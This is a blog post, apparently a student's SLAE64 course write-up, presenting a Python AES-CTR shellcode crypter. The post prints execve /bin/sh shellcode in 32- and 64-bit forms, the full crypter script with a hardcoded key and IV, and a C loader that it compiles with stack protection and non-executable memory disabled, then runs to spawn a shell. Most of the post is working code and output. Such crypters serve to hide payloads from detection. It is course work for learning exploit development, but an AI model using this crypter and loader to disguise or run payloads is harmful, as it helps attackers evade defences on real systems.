SLAE64
SLAE64

This post introduces the 7th and last mission of my SLAE64 journey.

As well as the SLAE32 - Custom Crypter decided to work with python3 and the majority of the work was dealing with conversion types between encrypting and decrypting the shellcode.

Introduction

The SLAE32 7th assignment purpose is to create a custom crypter having as reference the one shown in the crypter lesson..

For this task there are no special requirements:

  • Can use any existing encryption schema
  • Can use any programming language

I decided to to have a simpler approach to this task and as well other previous assignments I tried to port the 32bit version to 64bit.

There is a lof of overlap information with my post regarding the SLAE32 - Custom Crypter if you are interested in compare the between the ISAs.

Crypter

For the encryption scheme, the choice was AES in CTR mode. I used the script made for the custom encoder/decoder assignment as a reference.

For the shellcode I used the execve stack shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Let’s see the crypter script.

#!/usr/bin/python3

# AES CTR-mode shellcode crypter


import argparse
import secrets
import sys
import string
import pyaes
import binascii
import os

secretsGenerator = secrets.SystemRandom()

c_style_shellcode = (b"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05") # bin/sh

shellcode = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
encrypted_shellcode = "\x97\x90\xe1\x60\x56\x70\xfc\x91\x60\x01\xa2\xcf\x29\x43\x67\x15\x9f\x73\x72\x9b\xff\x25\xb8\xfa\xe9\xc8\xa6\x3f\xe8\x0d\x9e\xa9" # encrypted shellcode
                        
iv =86225370279291231266238124133917033753321926857843067389263155507994576978348

def banner():

    print('''
        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\\
                    ||----w |
                    ||     ||       
        
         ''')

#----------------------------


class Crypter:

    def randomKeyGenerator(self):
        alphabet = string.ascii_letters + string.digits + string.punctuation
        key = ''.join(secrets.choice(alphabet) for i in range(16))
        return str.encode(key) 


    def __init__(self,key=None):
        
        if key is not None:
            self.key = str.encode(key)
            print("[*] Key Provided. Doing magic with it")
        else:
            self.key = self.randomKeyGenerator()
            print("[*] Doing magic with a (pseudo) Random key")
        print("[*] Key: "+self.key.decode())

    def encrypt(self, shellcode):
        #iv = secrets.randbits(256) # for random IV
        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        crypted_shellcode = aes.encrypt(shellcode)

        print("IV: "+str(iv))

        #print('Encrypted:', crypted_shellcode)

        final_shellcode = ""
        for crypted_shellbyte in bytearray(crypted_shellcode):

            final_shellcode += '\\x' + '%02x' % crypted_shellbyte # \x format

        # print encrypted shellcode in c-style format
        print()
        print(final_shellcode)


    def decrypt(self, final_shellcode):
        print("Decrypted")
        final_shellcode = bytes(final_shellcode, encoding="raw_unicode_escape")

        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        decrypted_shellcode = aes.decrypt(final_shellcode)

        original_shellcode = ""
        for shellbyte in bytearray(decrypted_shellcode):
            original_shellcode += '\\x' + '%02x' % shellbyte # \x format

        return original_shellcode

        #print(binascii.hexlify(bytearray(final_shellcode.replace("\\x","").encode())))
        

def executeShellcode(original_shellcode):
    

    file = open("shellcode.c", "w")
    file.write('''
        #include<stdio.h>
        #include<string.h>

        unsigned char code[] = \"''' + original_shellcode + '''";

        void main() {

            printf(\"Shellcode Length:  %d\\n\", strlen(code));

            int (*ret)() = (int(*)())code;

            ret();

        }'''
    )
    file.close()
    os.system("gcc -fno-stack-protector -z execstack -m64 shellcode.c -o shellcode 2>/dev/null")
    os.system("./shellcode")


def main():
   
    
    #shellcode = bytearray(c_style_shellcode)
    #print("[*] Shellcode length: "+str(len(shellcode))+"\n")
    #print("[*] Shellcode: "+str(c_style_shellcode)+"\n")

    print("[*] Encrypted Shellcode length: "+str(len(shellcode))+"\n")
    print("[*] Encrypted Shellcode: "+str(c_style_shellcode)+"\n") # dor dynamic c-style use bytes(final_shellcode, encoding="raw_unicode_escape")



    # -------------------KEY-------------- 
    key = "B6*D+/5DQ$MFn<T{"    # example key
    #key = None
    #####################################

    crypter = Crypter(key);
    crypter.encrypt(shellcode)
    original_shellcode = crypter.decrypt(encrypted_shellcode)
    executeShellcode(original_shellcode)

if __name__ == '__main__':

    banner() # displays the program banner
    main()
    print("\n--------------------")
    print("[*] Hack the World!")
    print("--------------------")
    print()
    print()

For AES CTR mode, we need to pay attention to the iv and key of the encryption process because they are a must for the decryption process.

Basically, this encryption does the following:

  • accepts shellcode in \x format - shellcode variable;
  • generates a pseudorandom key and iv or uses one provided by the user - key and iv variables;
  • prints the shellcode in \x format

All this process is manual by the time of writing this post. The shellcode, iv, and encrypted shellcode are hardcoded.

For the decryption process:

  • Just prepared the encrypted shellcode (encrypted_shellcode variable) for decryption as it receives a bytes object;
  • Use the encryption iv and key to decrypt the shellcode;

Then, appends the decrypted shellcode to a shellcode.c program, compiles it with gcc, and executes it.

Executing the python Crypter:

╭─edu@debian ~/Desktop/slae_x86_64/assignments/7-Custom-crypter ‹main●› 
╰─$ python3 aesCrypter.py 

        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Encrypted Shellcode length: 32

[*] Encrypted Shellcode: b'H1\xc0PH\xbb/bin//shSH\x89\xe7PH\x89\xe2WH\x89\xe6H\x83\xc0;\x0f\x05'

[*] Key Provided. Doing magic with it
[*] Key: B6*D+/5DQ$MFn<T{
IV: 86225370279291231266238124133917033753321926857843067389263155507994576978348

\x97\x90\xe1\x60\x56\x70\xfc\x91\x60\x01\xa2\xcf\x29\x43\x67\x15\x9f\x73\x72\x9b\xff\x25\xb8\xfa\xe9\xc8\xa6\x3f\xe8\x0d\x9e\xa9
Decrypted
Shellcode Length:  32
$ 

--------------------
[*] Hack the World!
--------------------

Improving this script is a future work to be performed. Working with different types in Python is a time-consuming task and requires some ability to handle it.


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64